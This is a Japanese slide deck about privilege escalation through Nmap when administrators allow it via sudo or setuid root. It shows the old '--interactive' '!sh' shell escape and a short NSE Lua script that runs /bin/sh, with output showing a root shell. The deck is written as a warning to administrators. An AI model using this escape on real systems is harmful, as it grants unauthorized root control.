SlideShare a Scribd company logo
1 of 24
Nmapの真実(ゾクゾク)
@ymzkei5
きっかけ
• 小河さん(@abendさん) の『Nmapの真実(続)』
が面白かったので乗っかろうと思いました!!
• 『Nmapの真実』シリーズ
▫ Nmapの真実 → http://www.slideshare.net/abend
_cve_9999_0001/nmap-61009153
▫ Nmap 9つの真実 → http://www.slideshare.net/ab
end_cve_9999_0001/nmap-9
▫ Nmapの真実(続) → http://www.slideshare.net/ab
end_cve_9999_0001/nmap-68233390
「Nmapの真実(続)」が教えてくれたこと
• 一般ユーザと管理者とでNmapの挙動が変わる。
「Nmapの真実(続)」が教えてくれたこと
• 一般ユーザと管理者とでNmapの挙動が変わる。
「Nmapの真実(続)」が教えてくれたこと
• 一般ユーザと管理者とでNmapの挙動が変わる。
目に浮かんだこと
• サーバ管理者「OK! 一般ユーザのために、
Nmapが管理者権限で動くようにしてあげよう」
目に浮かんだこと
• サーバ管理者「OK! 一般ユーザのために、
Nmapが管理者権限で動くようにしてあげよう」
• 皆さんは、一般ユーザがNmapを使うサーバなん
て無ぇよ!と思ったかも知れませんが、
目に浮かんだこと
• サーバ管理者「OK! 一般ユーザのために、
Nmapが管理者権限で動くようにしてあげよう」
• 皆さんは、一般ユーザがNmapを使うサーバなん
て無ぇよ!と思ったかも知れませんが、
わりとあります。
目に浮かんだこと
• サーバ管理者「OK! 一般ユーザのために、
Nmapが管理者権限で動くようにしてあげよう」
• 皆さんは、一般ユーザがNmapを使うサーバなん
て無ぇよ!と思ったかも知れませんが、
わりとあります。
• あります…よね?(え? 私の周辺だけ?)
やりそうなこと
• その1 : sudoを許す
cat /etc/sudoers
...
%users ALL=/usr/bin/nmap
やりそうなこと
• その1 : sudoを許す
• その2 : setuid rootしてしまう
cat /etc/sudoers
...
%users ALL=/usr/bin/nmap
-rwxr-xr-x 1 root root 373348 Feb 7 2014 nmap
↓
-rwsr-xr-x 1 root root 373348 Feb 7 2014 nmap
すると、どうなるか…
• 古き良き時代のバージョンだと、
[keigo@yamazakiVM ~]$ sudo nmap –interactive
すると、どうなるか…
• 古き良き時代のバージョンだと、
[keigo@yamazakiVM ~]$ sudo nmap –interactive
Starting nmap V. 2.53 by fyodor@insecure.org (www.insecure.org/nmap/)
Welcome to Interactive Mode -- press h <enter> for help
nmap>
すると、どうなるか…
• 古き良き時代のバージョンだと、
[keigo@yamazakiVM ~]$ sudo nmap –interactive
Starting nmap V. 2.53 by fyodor@insecure.org (www.insecure.org/nmap/)
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
すると、どうなるか…
• 古き良き時代のバージョンだと、
[keigo@yamazakiVM ~]$ sudo nmap –interactive
Starting nmap V. 2.53 by fyodor@insecure.org (www.insecure.org/nmap/)
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
sh-4.1#
すると、どうなるか…
• 古き良き時代のバージョンだと、
[keigo@yamazakiVM ~]$ sudo nmap –interactive
Starting nmap V. 2.53 by fyodor@insecure.org (www.insecure.org/nmap/)
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
sh-4.1# id
uid=0(root) gid=0(root) groups=0(root)
sh-4.1#
ところが、
• 最近のバージョンだと、、
I removed the --interactive mode in r17131. People hadn't
been using it since May 2009 at the latest, because that's
when Juan Carlos Castro y Castro first reported that it would
segfault during the second scan. http://seclists.org/nmap-
dev/2009/q2/464
David Fifield
$ sudo nmap --interactive
nmap: unrecognized option '--interactive'
ところが、
• 最近のバージョンだと、、
• --interactive mode gone
▫ I removed the --interactive mode in r17131. People hadn't
been using it since May 2009 at the latest, because that's
when Juan Carlos Castro y Castro first reported that it
would segfault during the second scan.
http://seclists.org/nmap-dev/2009/q2/464
David Fifield
http://seclists.org/nmap-dev/2010/q1/1241
$ sudo nmap --interactive
nmap: unrecognized option '--interactive'
ところが、
• 最近のバージョンだと、、
• --interactive mode gone
▫ I removed the --interactive mode in r17131. People hadn't
been using it since May 2009 at the latest, because that's
when Juan Carlos Castro y Castro first reported that it
would segfault during the second scan.
http://seclists.org/nmap-dev/2009/q2/464
David Fifield
http://seclists.org/nmap-dev/2010/q1/1241
$ sudo nmap --interactive
nmap: unrecognized option '--interactive'
interactiveモード
自体が無い!
何これ安心!!!
安心できませんよ!
• 皆さん、もうピンと来ているとおり、ぜんぜん
安心できません。
• 例えば、Nmapスクリプトを書いてみるとか。
▫ SCRIPT SCAN:
--script=<Lua scripts>: <Lua scripts> is a comma
separated list of directories, script-files or script-
categories
書いてみた
• sh.nse
description = [[]]
author = "Keigo Yamazaki"
categories = {}
hostrule = function(host)
return true
end
action = function()
os.execute("/bin/sh")
end
root取ってみた
$ sudo nmap -script ./sh.nse 127.0.0.1 -p 80
Starting Nmap 5.51 ( http://nmap.org ) at 2016-11-06 09:16 JST
sh-4.1#
root取ってみた
$ sudo nmap -script ./sh.nse 127.0.0.1 -p 80
Starting Nmap 5.51 ( http://nmap.org ) at 2016-11-06 09:16 JST
sh-4.1#
sh-4.1# id
uid=0(root) gid=0(root) groups=0(root)
sh-4.1#
sh-4.1# exit
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00011s latency).
PORT STATE SERVICE
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 6.39 seconds
$
まとめ
• Nmapを精確に実行したいなら、管理者権限で
実行する必要がある。
• でも、Nmapに管理者権限を与えると、任意の
OSコマンドの実行などもおこなわれてしまう。
• 共用サーバでは使わないか、rootを取られても
良い信頼できる人だけに使わせましょう。
• Nmapスクリプトを信頼できるパスからしか実
行できないように制限する手や、SELinux等で
制限する手もあるかもですが。

More Related Content

What's hot

Project Loom + Project Panama
Project Loom + Project PanamaProject Loom + Project Panama
Project Loom + Project PanamaYuichi Sakuraba
 
Scapyで作る・解析するパケット
Scapyで作る・解析するパケットScapyで作る・解析するパケット
Scapyで作る・解析するパケットTakaaki Hoyo
 
Ryuの遊び方(pica8も併せてもっと楽しく)(2014/1/23修正版)
Ryuの遊び方(pica8も併せてもっと楽しく)(2014/1/23修正版)Ryuの遊び方(pica8も併せてもっと楽しく)(2014/1/23修正版)
Ryuの遊び方(pica8も併せてもっと楽しく)(2014/1/23修正版)hiroshi oshiba
 
続・SECDマシン
続・SECDマシン続・SECDマシン
続・SECDマシンt-sin
 
謎の言語Forthが謎なので実装した
謎の言語Forthが謎なので実装した謎の言語Forthが謎なので実装した
謎の言語Forthが謎なので実装したt-sin
 
Scapy presentation Remake(訂正)
Scapy presentation Remake(訂正)Scapy presentation Remake(訂正)
Scapy presentation Remake(訂正)ashigirl ZareGoto
 
Tricky implementation of Go ARM soft float
Tricky implementation of Go ARM soft floatTricky implementation of Go ARM soft float
Tricky implementation of Go ARM soft floatTetsuyuki Kobayashi
 
Raspberry pi 用 toppers ssp シュリンク版(海賊版)の紹介
Raspberry pi 用 toppers ssp シュリンク版(海賊版)の紹介Raspberry pi 用 toppers ssp シュリンク版(海賊版)の紹介
Raspberry pi 用 toppers ssp シュリンク版(海賊版)の紹介Kazuhiro Takahashi
 
GraalVMで使われている、他言語をJVM上に実装する仕組みを学ぼう
GraalVMで使われている、他言語をJVM上に実装する仕組みを学ぼうGraalVMで使われている、他言語をJVM上に実装する仕組みを学ぼう
GraalVMで使われている、他言語をJVM上に実装する仕組みを学ぼうKoichi Sakata
 
PHPとシグナル、その裏側
PHPとシグナル、その裏側PHPとシグナル、その裏側
PHPとシグナル、その裏側do_aki
 
import dpkt したよ #ssmjp 2014/02/28
import dpkt したよ #ssmjp 2014/02/28import dpkt したよ #ssmjp 2014/02/28
import dpkt したよ #ssmjp 2014/02/28th0x0472
 
Inside casper
Inside casperInside casper
Inside casperzigen
 
Great Ideas in GraalVM
Great Ideas in GraalVMGreat Ideas in GraalVM
Great Ideas in GraalVMKoichi Sakata
 
OPcache の最適化器の今
OPcache の最適化器の今OPcache の最適化器の今
OPcache の最適化器の今y-uti
 

What's hot (20)

Glibc malloc internal
Glibc malloc internalGlibc malloc internal
Glibc malloc internal
 
Project Loom + Project Panama
Project Loom + Project PanamaProject Loom + Project Panama
Project Loom + Project Panama
 
Cracking PRNG
Cracking PRNGCracking PRNG
Cracking PRNG
 
Scapyで作る・解析するパケット
Scapyで作る・解析するパケットScapyで作る・解析するパケット
Scapyで作る・解析するパケット
 
Ryuの遊び方(pica8も併せてもっと楽しく)(2014/1/23修正版)
Ryuの遊び方(pica8も併せてもっと楽しく)(2014/1/23修正版)Ryuの遊び方(pica8も併せてもっと楽しく)(2014/1/23修正版)
Ryuの遊び方(pica8も併せてもっと楽しく)(2014/1/23修正版)
 
続・SECDマシン
続・SECDマシン続・SECDマシン
続・SECDマシン
 
Scapy presentation
Scapy presentationScapy presentation
Scapy presentation
 
謎の言語Forthが謎なので実装した
謎の言語Forthが謎なので実装した謎の言語Forthが謎なので実装した
謎の言語Forthが謎なので実装した
 
Scapy presentation Remake(訂正)
Scapy presentation Remake(訂正)Scapy presentation Remake(訂正)
Scapy presentation Remake(訂正)
 
Tricky implementation of Go ARM soft float
Tricky implementation of Go ARM soft floatTricky implementation of Go ARM soft float
Tricky implementation of Go ARM soft float
 
Raspberry pi 用 toppers ssp シュリンク版(海賊版)の紹介
Raspberry pi 用 toppers ssp シュリンク版(海賊版)の紹介Raspberry pi 用 toppers ssp シュリンク版(海賊版)の紹介
Raspberry pi 用 toppers ssp シュリンク版(海賊版)の紹介
 
Ras piでrt linux
Ras piでrt linuxRas piでrt linux
Ras piでrt linux
 
GraalVMで使われている、他言語をJVM上に実装する仕組みを学ぼう
GraalVMで使われている、他言語をJVM上に実装する仕組みを学ぼうGraalVMで使われている、他言語をJVM上に実装する仕組みを学ぼう
GraalVMで使われている、他言語をJVM上に実装する仕組みを学ぼう
 
PHPとシグナル、その裏側
PHPとシグナル、その裏側PHPとシグナル、その裏側
PHPとシグナル、その裏側
 
The basic of performance tuning
The basic of performance tuningThe basic of performance tuning
The basic of performance tuning
 
import dpkt したよ #ssmjp 2014/02/28
import dpkt したよ #ssmjp 2014/02/28import dpkt したよ #ssmjp 2014/02/28
import dpkt したよ #ssmjp 2014/02/28
 
Inside casper
Inside casperInside casper
Inside casper
 
Great Ideas in GraalVM
Great Ideas in GraalVMGreat Ideas in GraalVM
Great Ideas in GraalVM
 
ひよこch 配信中
ひよこch 配信中ひよこch 配信中
ひよこch 配信中
 
OPcache の最適化器の今
OPcache の最適化器の今OPcache の最適化器の今
OPcache の最適化器の今
 

Viewers also liked

体系的に学ばないXSSの話
体系的に学ばないXSSの話体系的に学ばないXSSの話
体系的に学ばないXSSの話Yutaka Maehira
 
今日から始めるXSS
今日から始めるXSS今日から始めるXSS
今日から始めるXSSllamakko_cafe
 
【XSS Bonsai】 受賞のご挨拶 by @ymzkei5 【SECCON 2014】 - Dec 08, 2014
【XSS Bonsai】 受賞のご挨拶 by @ymzkei5 【SECCON 2014】 - Dec 08, 2014【XSS Bonsai】 受賞のご挨拶 by @ymzkei5 【SECCON 2014】 - Dec 08, 2014
【XSS Bonsai】 受賞のご挨拶 by @ymzkei5 【SECCON 2014】 - Dec 08, 2014Keigo Yamazaki
 
今日からはじめるCSP(Kernel/VM@Okinawa)
今日からはじめるCSP(Kernel/VM@Okinawa)今日からはじめるCSP(Kernel/VM@Okinawa)
今日からはじめるCSP(Kernel/VM@Okinawa)cocoa_dahlia
 
hpingで作るパケット
hpingで作るパケットhpingで作るパケット
hpingで作るパケットTakaaki Hoyo
 
Visual Studio で TeX 編集
Visual Studio で TeX 編集Visual Studio で TeX 編集
Visual Studio で TeX 編集Satoshi Mimura
 
今さら聞けないXSS
今さら聞けないXSS今さら聞けないXSS
今さら聞けないXSSSota Sugiura
 
Zabbixをもっと使おう @OSC 2016 Tokyo/Fall
Zabbixをもっと使おう @OSC 2016 Tokyo/FallZabbixをもっと使おう @OSC 2016 Tokyo/Fall
Zabbixをもっと使おう @OSC 2016 Tokyo/FallAtsushi Tanaka
 
セキュアコーディング方法論再構築の試み
セキュアコーディング方法論再構築の試みセキュアコーディング方法論再構築の試み
セキュアコーディング方法論再構築の試みHiroshi Tokumaru
 
ノリとその場の勢いでPocを作った話
ノリとその場の勢いでPocを作った話ノリとその場の勢いでPocを作った話
ノリとその場の勢いでPocを作った話zaki4649
 
複雑さに挑む!カンバンによるプロジェクト マネジメント
複雑さに挑む!カンバンによるプロジェクト マネジメント複雑さに挑む!カンバンによるプロジェクト マネジメント
複雑さに挑む!カンバンによるプロジェクト マネジメント智治 長沢
 
これでBigQueryをドヤ顔で語れる!BigQueryの基本
これでBigQueryをドヤ顔で語れる!BigQueryの基本これでBigQueryをドヤ顔で語れる!BigQueryの基本
これでBigQueryをドヤ顔で語れる!BigQueryの基本Tomohiro Shinden
 
Nmap 9 truth "Nothing to say any more"
Nmap 9 truth "Nothing to say  any more"Nmap 9 truth "Nothing to say  any more"
Nmap 9 truth "Nothing to say any more"abend_cve_9999_0001
 
BigQueryの課金、節約しませんか
BigQueryの課金、節約しませんかBigQueryの課金、節約しませんか
BigQueryの課金、節約しませんかRyuji Tamagawa
 
元OracleMasterPlatinumがCloudSpanner触ってみた
元OracleMasterPlatinumがCloudSpanner触ってみた元OracleMasterPlatinumがCloudSpanner触ってみた
元OracleMasterPlatinumがCloudSpanner触ってみたKumano Ryo
 
Python × Herokuで作る 雑談slack bot
Python × Herokuで作る 雑談slack botPython × Herokuで作る 雑談slack bot
Python × Herokuで作る 雑談slack botdcubeio
 
Ctfのためのpython入門
Ctfのためのpython入門Ctfのためのpython入門
Ctfのためのpython入門shiracamus
 
CTF超入門 (for 第12回セキュリティさくら)
CTF超入門 (for 第12回セキュリティさくら)CTF超入門 (for 第12回セキュリティさくら)
CTF超入門 (for 第12回セキュリティさくら)kikuchan98
 

Viewers also liked (20)

体系的に学ばないXSSの話
体系的に学ばないXSSの話体系的に学ばないXSSの話
体系的に学ばないXSSの話
 
今日から始めるXSS
今日から始めるXSS今日から始めるXSS
今日から始めるXSS
 
【XSS Bonsai】 受賞のご挨拶 by @ymzkei5 【SECCON 2014】 - Dec 08, 2014
【XSS Bonsai】 受賞のご挨拶 by @ymzkei5 【SECCON 2014】 - Dec 08, 2014【XSS Bonsai】 受賞のご挨拶 by @ymzkei5 【SECCON 2014】 - Dec 08, 2014
【XSS Bonsai】 受賞のご挨拶 by @ymzkei5 【SECCON 2014】 - Dec 08, 2014
 
今日からはじめるCSP(Kernel/VM@Okinawa)
今日からはじめるCSP(Kernel/VM@Okinawa)今日からはじめるCSP(Kernel/VM@Okinawa)
今日からはじめるCSP(Kernel/VM@Okinawa)
 
hpingで作るパケット
hpingで作るパケットhpingで作るパケット
hpingで作るパケット
 
Visual Studio で TeX 編集
Visual Studio で TeX 編集Visual Studio で TeX 編集
Visual Studio で TeX 編集
 
CSP Lv.2の話
CSP Lv.2の話CSP Lv.2の話
CSP Lv.2の話
 
今さら聞けないXSS
今さら聞けないXSS今さら聞けないXSS
今さら聞けないXSS
 
Zabbixをもっと使おう @OSC 2016 Tokyo/Fall
Zabbixをもっと使おう @OSC 2016 Tokyo/FallZabbixをもっと使おう @OSC 2016 Tokyo/Fall
Zabbixをもっと使おう @OSC 2016 Tokyo/Fall
 
セキュアコーディング方法論再構築の試み
セキュアコーディング方法論再構築の試みセキュアコーディング方法論再構築の試み
セキュアコーディング方法論再構築の試み
 
ノリとその場の勢いでPocを作った話
ノリとその場の勢いでPocを作った話ノリとその場の勢いでPocを作った話
ノリとその場の勢いでPocを作った話
 
XSS再入門
XSS再入門XSS再入門
XSS再入門
 
複雑さに挑む!カンバンによるプロジェクト マネジメント
複雑さに挑む!カンバンによるプロジェクト マネジメント複雑さに挑む!カンバンによるプロジェクト マネジメント
複雑さに挑む!カンバンによるプロジェクト マネジメント
 
これでBigQueryをドヤ顔で語れる!BigQueryの基本
これでBigQueryをドヤ顔で語れる!BigQueryの基本これでBigQueryをドヤ顔で語れる!BigQueryの基本
これでBigQueryをドヤ顔で語れる!BigQueryの基本
 
Nmap 9 truth "Nothing to say any more"
Nmap 9 truth "Nothing to say  any more"Nmap 9 truth "Nothing to say  any more"
Nmap 9 truth "Nothing to say any more"
 
BigQueryの課金、節約しませんか
BigQueryの課金、節約しませんかBigQueryの課金、節約しませんか
BigQueryの課金、節約しませんか
 
元OracleMasterPlatinumがCloudSpanner触ってみた
元OracleMasterPlatinumがCloudSpanner触ってみた元OracleMasterPlatinumがCloudSpanner触ってみた
元OracleMasterPlatinumがCloudSpanner触ってみた
 
Python × Herokuで作る 雑談slack bot
Python × Herokuで作る 雑談slack botPython × Herokuで作る 雑談slack bot
Python × Herokuで作る 雑談slack bot
 
Ctfのためのpython入門
Ctfのためのpython入門Ctfのためのpython入門
Ctfのためのpython入門
 
CTF超入門 (for 第12回セキュリティさくら)
CTF超入門 (for 第12回セキュリティさくら)CTF超入門 (for 第12回セキュリティさくら)
CTF超入門 (for 第12回セキュリティさくら)
 

Nmapの真実(ゾクゾク)